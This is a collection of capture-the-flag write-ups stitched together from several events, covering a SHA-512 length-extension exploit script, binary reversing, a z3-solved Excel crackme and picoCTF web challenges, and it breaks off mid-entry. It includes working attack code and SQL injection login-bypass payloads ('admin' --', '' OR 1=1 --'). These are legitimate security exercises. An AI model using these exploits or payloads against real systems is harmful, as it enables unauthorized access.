# Eternal Game ## Description > No one has ever won my game except me!>> `nc challenges.tamuctf.com 8812` The source code of the game is given:```pythonfrom collections import defaultdictimport randomimport hashlibimport sys x = 1d = defaultdict(int)game_running = Truehigh_score = 653086069891774904466108141306028536722619133804 def gen_hash(x): with open('key.txt', 'r') as f: key = f.read()[:-1] return hashlib.sha512(key + x).hexdigest() def extract_int(s): i = len(s)-1 result = 0 while i >= 0 and s[i].isdigit(): result *= 10 result += ord(s[i]) - ord('0') i -= 1 return result def multiply(): global x print 'Multiplier: ' sys.stdout.flush() m = extract_int(raw_input()) sys.stdout.flush() if m < 2 or m > 10: print 'Disallowed value.' elif d[m] == 5: print 'You already multiplied by ' + str(m) + ' five times!' else: x *= m d[m] += 1 sys.stdout.flush() def print_value(): print x sys.stdout.flush() def get_proof(): global game_running game_running = False print gen_hash(str(x)) sys.stdout.flush() game_options = [multiply, print_value, get_proof]def play_game(): global game_running game_running = True print( ''' Welcome the The Game. You are allowed to multiply the initial number (which is 1) by any number in the range 2-10. Make decisions wisely! You can only multiply by each number at most 5 times... so be careful. Also, at a random point during The Game, an asteroid will impact the Earth and The Game will be over. Feel free to get your proof of achievement and claim your prize at the main menu once you start reaching big numbers. Bet you can't beat my high score! ''' ) while game_running: print '1. Multiply' print '2. Print current value' print '3. Get proof and quit' sys.stdout.flush() game_options[extract_int(raw_input())-1]() sys.stdout.flush() if random.randint(1, 20) == 10: print 'ASTEROID!' game_running = False sys.stdout.flush() def prize(): print 'Input the number you reached: ' sys.stdout.flush() num = raw_input() sys.stdout.flush() print 'Present the proof of your achievement: ' sys.stdout.flush() proof = raw_input() sys.stdout.flush() num_hash = gen_hash(num) num = extract_int(num) if proof == num_hash: if num > high_score: with open('flag.txt', 'r') as f: print f.read() elif num > 10**18: print 'It sure is a good thing I wrote this in Python. Incredible!' elif num > 10**9: print 'This is becoming ridiculous... almost out of bounds on a 32 bit integer!' elif num > 10**6: print 'Into the millions!' elif num > 1000: print 'Good start!' else: print 'You can do better than that.' else: print 'Don\'t play games with me. I told you you couldn\'t beat my high score, so why are you even trying?' sys.stdout.flush() def new(): global x global d x = 1 d = defaultdict(int) sys.stdout.flush() play_game() main_options = [new, prize, exit] def main_menu(): print '1. New Game' print '2. Claim Prize' print '3. Exit' sys.stdout.flush() main_options[extract_int(raw_input())-1]() sys.stdout.flush() if __name__ == '__main__': while True: main_menu()``` ## Solution From the python script we understand easily what happens. The game rules are as follow: - begin with a score of `x = 1`- for each round, choose an integer between 2 and 10. Every integer can be chosen at most 5 times. Then the value `x` is multiplied by the chosen value.- when we want to end the game, the game gives us a proof that we have reached the value `x` in the game.- to get the flag, we need to input a value greater than `653086069891774904466108141306028536722619133804` and have a proof that we reached this state. We quickly discover that winning the game by playing by the rules is not possible, as `(10!)^5` is below the score to reach. Moreover, we cannot cheat the game itself by inserting values outside the [2,10] range (or non integer values), as the program uses the `extract_int` function to read inputs. For some strange reason, their function is not well implemented, and it reads the string input from right to left constructing the corresponding integer until it reached a non numeral character (therefore we need to enter 01 for the game to understand 10). Therefore the way to cheat the game is to select a value, then forge a proof matching the entered number. Let's have a closer look at the proof function: ```pythondef prize(): print 'Input the number you reached: ' sys.stdout.flush() num = raw_input() sys.stdout.flush() print 'Present the proof of your achievement: ' sys.stdout.flush() proof = raw_input() sys.stdout.flush() num_hash = gen_hash(num) num = extract_int(num) if proof == num_hash: if num > high_score: with open('flag.txt', 'r') as f: print f.read() # Other not interesting cases else: print 'Don\'t play games with me. I told you you couldn\'t beat my high score, so why are you even trying?' sys.stdout.flush()``` So we enter a string `num`, then a string `proof`, and we get the flag if `gen_hash(num) == proof` and `extract_int(num) > high_score`. Note that `gen_hash(num)` takes the raw input as input, and the integer is extracted after that. Therefore we need to choose a string `s` such that we can craft a corresponding proof for `s` and that `extract_int(s) > high_score`. In order to craft a valid proof, we look more precisely at the `gen_hash` function: ```pythondef gen_hash(x): with open('key.txt', 'r') as f: key = f.read()[:-1] return hashlib.sha512(key + x).hexdigest()``` So the proof is created by appending our string to a secret key, and returning the hash (with function SHA512). SHA512 is a variant of the [SHA-2](https://en.wikipedia.org/wiki/SHA-2) hash function, which is based on the [Merkle–Damgård construction](https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction)! And this construction is vulnerable to length extension attacks. As we choose the value that is appended after the secret, we'll be able to carry out a length extension attack. ### Length extension attack The Merkle–Damgård construction works as follows. Given a compression function `h`, taking as input a message block of size `n` and an input of size `k`, it outputs a digest of size `k`.- it takes as input a message `m`- it pads it to a correct number of bits which is a multiple of `n`- then it creates the hash using the algorithm described in the following picture. In words, it gives the previous output and the next message block to the compression function, and outputs the next output (first input for the compression function is a constant IV). ![Merkle–Damgård](../images/merkledamgard.png) In the special case of SHA512, `n = 1024` and `k = 512`. Now, if there is some unknown message `m` such that we know `H(m)`, then we can iterate the construction (by adding blocks with the compression function, with `H(m)` as first input), in order to create a correct hash for message `m || pad(m) || m'` for any chosen message `m'`. ### Back to the concrete attack Here in this case, we know the hash ```H(key || x)``` where `x` is a number we can reach in the game. For simplicity, let's take `x = 1`. So the attack is to use length extension attack to create a valid hash `H(key || x || pad(key || x) || y)`, which will be our proof for the string `x || pad(key || x) || y`. If we choose `y` sufficiently large, then the `extract_int` function will extract a sufficiently large integer to get the flag. So we have `x = 1` and we choose `y`, so we can already craft a proof for our string. But we need to be able to know `pad(key || x)` in order to build the actual string! The padding procedure for a message `m` works as follow:- encode `|m|` (the bit length of `m`) as a `k` bit integer.- append a bit `1` to `m`.- add a sufficient number of zeros between this bit `1` and the `k`-bit string encoding the length of the message, such that the result is a multiple of `n` (block length).Therefore `pad(m) = 1 || 0...0 || len(m)` with `len(m)` being `k` bits and the number of `0` enough to reach a multiple of `n` bits. For SHA512, `k = 128`. The problem is that in this case, `m = key || 1`, but we do not know the length of key! Therefore we will bruteforce the length of the key, and the game will answer with "Don't play games with me. I told you you couldn't beat my high score, so why are you even trying?" if we don't get the length right (as the hash will be false). ## Implementation of the attack We're using [hlextend](https://github.com/stephenbradshaw/hlextend) to carry out the length extension attack. The following code shows the attack. ```pythonimport hlextendfrom pwn import * # This hash is H(key || 1)original_hash = "a17b713167841563563ac6903a8bd44801be3c0fb81b086a4816ea457f8c829a6d5d785b49161972b7e94ff9790d37311e12b32221380041a99c16d765e8776c"# This is a big enough score to win (written in reverse order)score = "6530860698917749044661081413060285367226191338057" # Init algorithm with SHA512sha = hlextend.new('sha512') # Connect to servicesh = remote('challenges.tamuctf.com', 8812) #Brute force key size (number of characters)for key_size in range(1, 100): sh.recvuntil("Exit") sh.sendline("2") sh.recvuntil("reached:") # Create 128-bit part of the pad holding len(key || x). The len is the size in bits, so we need to multiply by 8. originalHashLength = bin((key_size+len("1")) * 8)[2:].rjust(128, "0") # Select the correct number of zeroes in the pad. We need to have |key|*8 + 1*8 + 1 + t + 128 multiple of 1024. t = 1024 - key_size*8 - 8 - 1 -128 if t<0: t+=1024 # This is the padding: bit 1, then t zeroes, then the 128 bits for the length bitString = '0b1' + '0'*t + originalHashLength bitString = int(bitString, 2) # Our payload (string s) is x || pad(key || x) || y # Here x is '1', we have just computed the pad, and y is our big number. num = b"1" + bitString.to_bytes((bitString.bit_length() + 7) // 8, 'big') + score.encode() sh.sendline(num) sh.recvuntil("achievement:") # Now we send the hash using length extension # score is the added payload, "1" is known hash, key_size is the size of unknown input and original_hash is the hash gotten from the server. sha.extend(score, '1', key_size, original_hash) sh.sendline(sha.hexdigest()) # Get response from server result = "" while len(result) <= 6: result = sh.recvline() print(key_size, result) if b"gigem" in result: break``` Flag: `gigem{a11_uR_h4sH_rR_be10nG_to_m3Ee3}`
# About Time ## Description> Let's see if you can figure out this password..> > Use the following command to connect to the server and interact with the binary!> > `nc challenges.tamuctf.com 4321` Tha binary corresponding to the service is provided. ## Solution Let's connect to the service. ![about time](../images/abouttime.png) So we get the current time, an encrypted password, and we need to enter the password. We need to understand how the password is encrypted. Let's reverse the code using [Ghidra](https://ghidra-sre.org/). Ghidra doesn't recognize the main function, but there is an `entry` function calling `FUN_001015c7`, so we'll assume this is the main function. Its code is the following: ```cundefined8 FUN_001015c7(void) { uint uVar1; int iVar2; time_t tVar3; size_t sVar4; long in_FS_OFFSET; int local_9c; int local_98; time_t local_90; tm *local_88; FILE *local_80; code *local_78 [3]; char local_5d [5]; char local_58 [56]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); signal(0xe,FUN_00101569); alarm(5); tVar3 = time((time_t *)0x0); srand((uint)tVar3); local_90 = time((time_t *)0x0); local_88 = localtime(&local_90); strftime(local_58,0x32,"%Y-%m-%dT%H:%M:%S%Z",local_88); strftime(local_5d,5,"%M",local_88); iVar2 = atoi(local_5d); iVar2 = iVar2 % 6; uVar1 = iVar2 + 2; DAT_00104100 = uVar1; local_80 = fopen("flag.txt","r"); if (local_80 == (FILE *)0x0) { puts("Flag.txt not found. Exiting..."); } else { fgets(&DAT_00104080,0x32,local_80); fclose(local_80); local_9c = 0; while( true ) { sVar4 = strlen(&DAT_00104080); if (sVar4 <= (ulong)(long)local_9c) break; if ((&DAT_00104080)[local_9c] == '\n') { (&DAT_00104080)[local_9c] = 0; } local_9c = local_9c + 1; } strncpy(&DAT_001040c0,&DAT_00104080,0x32); local_78[0] = FUN_001012a9; local_78[1] = FUN_001013dd; local_78[2] = FUN_00101473; (*local_78[(int)uVar1 % 3])(&DAT_001040c0,(ulong)uVar1,local_78[(int)uVar1 % 3]); (*local_78[(iVar2 + 3) % 3])(&DAT_001040c0,(ulong)uVar1,local_78[(iVar2 + 3) % 3]); (*local_78[(iVar2 + 4) % 3])(&DAT_001040c0,(ulong)uVar1,local_78[(iVar2 + 4) % 3]); printf("%s> Encrypted password: %s\n",local_58,&DAT_001040c0); fflush(stdout); printf("Enter the password: "); fflush(stdout); fgets(&DAT_00104104,0x32,stdin); local_98 = 0; while( true ) { sVar4 = strlen(&DAT_00104104); if (sVar4 <= (ulong)(long)local_98) break; if ((&DAT_00104104)[local_98] == '\n') { (&DAT_00104104)[local_98] = 0; } local_98 = local_98 + 1; } (*local_78[(int)uVar1 % 3])(&DAT_00104104,(ulong)uVar1,local_78[(int)uVar1 % 3]); (*local_78[(iVar2 + 3) % 3])(&DAT_00104104,(ulong)uVar1,local_78[(iVar2 + 3) % 3]); (*local_78[(iVar2 + 4) % 3])(&DAT_00104104,(ulong)uVar1,local_78[(iVar2 + 4) % 3]); FUN_001014fb(&DAT_001040c0,&DAT_00104104); } if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}``` Let's see in detail what this program does. ```c signal(0xe,FUN_00101569); alarm(5);``` First it sets an alarm in 5 seconds, and this alarm triggers `FUN_00101569`. This function basically sets some data blocks to 0 with probability 1/2. ```c tVar3 = time((time_t *)0x0); srand((uint)tVar3); local_90 = time((time_t *)0x0); local_88 = localtime(&local_90); strftime(local_58,0x32,"%Y-%m-%dT%H:%M:%S%Z",local_88); strftime(local_5d,5,"%M",local_88); iVar2 = atoi(local_5d); iVar2 = iVar2 % 6; uVar1 = iVar2 + 2; DAT_00104100 = uVar1;``` So the pseudo random generator is initialized with current time, then time is called once more and its format is set in `local_58`. Then two variables are set: - `iVar2` is current minute mod 6- `DAT_00104100 = uVar1` is `iVar2 + 2`. ```c local_80 = fopen("flag.txt","r"); if (local_80 == (FILE *)0x0) { puts("Flag.txt not found. Exiting..."); } else { fgets(&DAT_00104080,0x32,local_80); fclose(local_80);``` Read content of `flag.txt` and put it in `DAT_00104080`. ```c local_9c = 0; while( true ) { sVar4 = strlen(&DAT_00104080); if (sVar4 <= (ulong)(long)local_9c) break; if ((&DAT_00104080)[local_9c] == '\n') { (&DAT_00104080)[local_9c] = 0; } local_9c = local_9c + 1; }``` Replace any `\n` in the flag by `0`. ```c strncpy(&DAT_001040c0,&DAT_00104080,0x32); local_78[0] = FUN_001012a9; local_78[1] = FUN_001013dd; local_78[2] = FUN_00101473; (*local_78[(int)uVar1 % 3])(&DAT_001040c0,(ulong)uVar1,local_78[(int)uVar1 % 3]); (*local_78[(iVar2 + 3) % 3])(&DAT_001040c0,(ulong)uVar1,local_78[(iVar2 + 3) % 3]); (*local_78[(iVar2 + 4) % 3])(&DAT_001040c0,(ulong)uVar1,local_78[(iVar2 + 4) % 3]); printf("%s> Encrypted password: %s\n",local_58,&DAT_001040c0); fflush(stdout);``` Now things get interesting. First, copy the flag in `DAT_001040c0`. Then, 3 functions are saved in `local_78`, which is an array of function pointers. Then those functions are called in an order defined by the current minute (using `iVar2` and `uVar1`), with `DAT_001040c0` and `uVar1` as parameter. This is the encrypted password which is then displayed to the user. ```c fgets(&DAT_00104104,0x32,stdin); local_98 = 0; while( true ) { sVar4 = strlen(&DAT_00104104); if (sVar4 <= (ulong)(long)local_98) break; if ((&DAT_00104104)[local_98] == '\n') { (&DAT_00104104)[local_98] = 0; } local_98 = local_98 + 1; } (*local_78[(int)uVar1 % 3])(&DAT_00104104,(ulong)uVar1,local_78[(int)uVar1 % 3]); (*local_78[(iVar2 + 3) % 3])(&DAT_00104104,(ulong)uVar1,local_78[(iVar2 + 3) % 3]); (*local_78[(iVar2 + 4) % 3])(&DAT_00104104,(ulong)uVar1,local_78[(iVar2 + 4) % 3]); FUN_001014fb(&DAT_001040c0,&DAT_00104104);``` Rest of the code is similar as above: the user inputs some password, which is then transformed as the flag, and both get compared in `FUN_001014fb` (which just prints `gigem{password}` if the password is correct). So we need to understand what the three functions in `local_78` do. As the time used to compute the minute is given, we know the order those functions are called. We also know the `uVar1` parameter. Let's describe the 3 functions. **Function 0**: ```cvoid FUN_001012a9(char *param_1,int param_2){ int iVar1; size_t sVar2; int local_1c; local_1c = 0; while( true ) { sVar2 = strlen(param_1); if (sVar2 <= (ulong)(long)local_1c) break; if (('`' < param_1[local_1c]) && (param_1[local_1c] < '{')) { iVar1 = param_2 + (int)param_1[local_1c] + 0x54; param_1[local_1c] = (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a + 'a'; } if (('@' < param_1[local_1c]) && (param_1[local_1c] < '[')) { iVar1 = param_2 + (int)param_1[local_1c] + -0x34; param_1[local_1c] = (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a + 'A'; } local_1c = local_1c + 3; } return;}``` For characters `0, 3, ...` in the input string, it first checks wether it is a lowercase letter. If that is the case, it tranforms it using the following transformation: ```cy = minutes + input[i] + 0x54input[i] = remainder(y, 0x1a) + 'a'.``` where `minutes` is the second parameter given to the function (derived in main from current minute), `input[i]` is the current character, and `remainder(y, 0x1a)` returns the remainder of the euclidian division of `y` by `0x1a`. Then a second check happens: if `input[i]` is between `@` and `[`, then another similar computation is performed: ```cy = minutes + input[i] - 0x34input[i] = remainder(y, 0x1a) + 'A'.``` So let's try to invert this. First check: it checks if the input is a lowercase letter, and it outputs also a modified lowercase letter. We actually have `input[i] = 'a' + (input[i] + cst) % 26` with `cst` a constant depending of `minutes`. The same reasoning can be performed with the second check but with uppercase. Therefore we can reverse the function: ```pythondef fun0(flag, minutes): for i in range(0, len(flag), 3): if flag[i] in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': y = ord(flag[i]) y = y + 0x34 - minutes y %= 26 flag[i] = chr(ord('A') + y) if flag[i] in 'abcdefghijklmnopqrstuvwxyz': y = ord(flag[i]) y = y - 0x54 - minutes y %= 26 flag[i] = chr(ord('a') + y) return flag``` **Function 1**: ```cvoid FUN_001013dd(char *param_1,int param_2){ size_t sVar1; long in_FS_OFFSET; int local_50; char local_48 [56]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); strncpy(local_48,param_1,0x32); sVar1 = strlen(param_1); local_50 = 0; while (local_50 < (int)sVar1) { param_1[local_50] = local_48[(param_2 + local_50) % (int)sVar1]; local_50 = local_50 + 1; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}``` This function is easier to understand. The input is copied to `local_48` then the operation performed is `input[i] = local48[(minutes + i)%n]`. This Python function reverses the function: ```pythondef fun1(flag, minutes): return [flag[(i - minutes) % len(flag)] for i in range(len(flag))]``` **Function 2* is also easier: ```cvoid FUN_00101473(char *param_1,char param_2){ size_t sVar1; int local_10; sVar1 = strlen(param_1); local_10 = 0; while (local_10 < (int)sVar1) { if (('/' < param_1[local_10]) && (param_1[local_10] < ':')) { param_1[local_10] = param_1[local_10] + param_2; } local_10 = local_10 + 1; } return;}``` For all charachter in the input, if it is a number, add `minutes` to it. ```pythondef fun2(flag, minutes): for i in range(len(flag)): if ord(flag[i]) - minutes > ord('/') and ord(flag[i]) - minutes < ord(':'): flag[i] = chr(ord(flag[i]) - minutes) return flag``` We can then combine those functions to get the flag: ```pythonfun = [fun0, fun1, fun2] if __name__ == "__main__": minutes = int(sys.argv[1]) flag = list(sys.argv[2]) minutes = minutes % 6 mod_min = minutes + 2 flag = fun[(minutes + 4) % 3](flag, mod_min) flag = fun[(minutes + 3) % 3](flag, mod_min) flag = fun[(mod_min) % 3](flag, mod_min) print(''.join(flag))``` And launch this program with 2 arguments: the minute given by the server, and the encrypted password. Flag: `gigem{1tsAbOut7iMet0geTaw47CH}`
#### writeup link:[https://philomath213.github.io/post/angstromctf2020-bookface/](https://philomath213.github.io/post/angstromctf2020-bookface/) ### TL;DL- Leak Libc address using Format String Attack. - Abusing *glibc PRNG* by overwrite the random state using *friends* pointer.- Writing a forged *FILE* structure in *Zero Page*.- Trigger *FILE* structure exploit by a *NULL Pointer Dereference Attack* and exploiting a *TOCTOU* bug.
## 1. Download File We can download "VolgaCTF_excel_crackme.xlsm" file. ![Download Challenge File](http://about.pwnable.me/CTFtime/0.png) ----- ## 2. Open File You can use the Excel to open the file. ![Open File](http://about.pwnable.me/CTFtime/1.png) When the file was opened, a warning about the macro appeared and i try to access the VBA script. But... I don't know password. ![I don't know password ...](http://about.pwnable.me/CTFtime/2.png) ----- ## 3. Extract the Script So I extracted the VBA script, using OfficeMalScanner.exe. ```OfficeMalScanner.exe VolgaCTF_excel_crackme.xlsm infoOfficeMalScanner.exe VolgaCTF_excel_crackme.xlsm inflateOfficeMalScanner.exe vbaProject.bin info``` I try to read script, but it is really hard... ![Script](http://about.pwnable.me/CTFtime/3.png) So I use VBA code Indenter.[VBA Code Indenter ](https://www.automateexcel.com/vba-code-indenter/) It is much easier to read using the Code Indenter. ![indented Script](http://about.pwnable.me/CTFtime/4.png) While reading the script, I found that the script was accessing a specific Cell. I check Excel VolgaCTF_excel_crackme.xlsm's "Лист1" Sheet Again and Found huge int table . ![i found the 45 * 46 int_table](http://about.pwnable.me/CTFtime/5.png) ----- ## 4. Solution VBA Script check the flag like my own python psuedocode. ![How does a script check the flag?](http://about.pwnable.me/CTFtime/6.png) ```python import sys int_table = [[620,340,895,-39,945,321,586,487,-935,-641,-233,553,546,389,764,-199,577,-539,547,-50,134,-722,134,571,629,-775,499,-633,-928,-103,975,961,-275,136,165,170,257,559,-656,-207,403,-414,371,885,-885,490493],[-19,85,-456,228,-127,-777,191,605,292,-181,-652,801,-801,-890,-75,214,22,-52,-4,750,678,-300,82,965,-889,-342,933,736,-677,945,-191,408,-96,916,-739,454,-941,72,414,-373,150,-535,742,-376,-285,-7845],[598,357,236,8,-163,787,-996,26,-685,257,-620,-959,340,-530,-621,634,-701,-112,737,-781,66,517,566,-915,907,-818,-487,-82,-115,313,414,836,774,-776,-551,920,-548,898,-198,244,822,-741,-185,-589,202,-54593],[967,-357,-421,-752,-315,413,991,350,873,-122,12,-463,-942,576,657,-108,-375,481,622,-550,-910,167,-184,-392,-111,457,-606,31,-350,583,-716,57,985,842,222,605,-239,-250,280,579,-109,-297,-99,-222,605,210672],.........] flag = input() for i in range(len(flag)) : flagsum = 0 for j in range(len(flag)) : int_element = int_table[i][j] flag_element = ord(flag[j]) flag_sum = flag_sum + int_element * flag_element if flag_sum != int_table[i][45] : print("Bad... Try Again!") sys.exit() ``` I wrote python code(use z3), i can't get flag. but mementomori helped me. He wrote the python code, and we could get the flag. ```python from z3 import * data = [map(int, _.strip().split('\t')) for _ in open('data.txt').readlines()]flag = [Int('flag{}'.format(i)) for i in range(45)] s = Solver() for line in data: eq = 0 sol = line[-1] for i, x in enumerate(line[:-1]): eq += x * flag[i] s.add(eq == sol) if s.check() == sat: print(''.join([chr(s.model()[x].as_long()) for x in flag])) ```
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or 